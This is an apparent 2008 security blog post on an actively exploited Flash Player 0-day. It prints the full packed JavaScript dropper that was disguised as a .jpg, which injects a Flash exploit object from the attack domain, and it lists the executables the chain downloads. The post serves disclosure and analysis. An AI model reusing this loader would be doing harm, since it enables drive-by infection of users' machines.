woensdag 28 mei 2008

Flash: the format everybody loves to hate [at least should]

Prime time for our beloved FLASH player again: a 0-day has been actively exploited the last couple of days, as reported by Security Focus, SANS, Adobe knows not much more ATM. Served as a file with the jpg extention, that is actually a script:

http://www. play0nlnie. com/pcd/topics/ff11us/20080311cPxl31/07.jpg

window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
eval(function(p,a,c,k,e,d){e=function(c){return(ce(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace
(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n(2.q.k("i=")==-1){E 5=F D();5.C(5.G()+12*j*j*B);2.q="i=K;J=/;5="+5.I();n(L.y.t().k("s")>0){2.3(\'A="z:u-x-v-w-H" Y="6://15.14.9/13/10/11/17/18.M#1a=4,0,19,0" l="0" m="0"
16="Z">\');2.3(\'<8 7="R" a="Q"/>\');2.3(\'<8 7="P" a="6://g.h.9/e/f/d/b/p.
c"/>\');2.3(\'<8 7="N" a="O"/>\');2.3(\'<8 7="S" a="#T"/>\');2.3(\'\');2.3(\'
\')}W{2.3("")}}',62,73,'||document|write||expires|http|name|param|com|value|
20080311cPxl31|swf|ff11us|pcd|topics|www|play0nlnie|playon|60|indexOf|
width|height|if|src|07|cookie|object|msie|toLowerCase|d27cdb6e|11cf|96b8|ae6d|
userAgent|clsid|classid|1000|setTime|Date|var|new|getTime|444553540000|
toGMTString|path|Yes|navigator|cab|quality|high|movie|sameDomain|allowScriptAccess
|bgcolor|ffffff|08|EMBED|else|embed|codebase|middle|shockwave|cabs||pub|macromedia
|download|align|flash|swflash||version'.split('|'),0,{}))

That in the end, downloads:
http://www. play0nlnie. com/ax.exe
&
http://www. play0nlnie. com/setip.exe

Virustotal was 7/31 for ax.exe, and 7/31 for setip.exe earlier this evening.

Google gives a cool 359 results for the quoted string "Adobe Flash Player SWF File Unspecified Remote Code Execution Vulnerability" so word's out.

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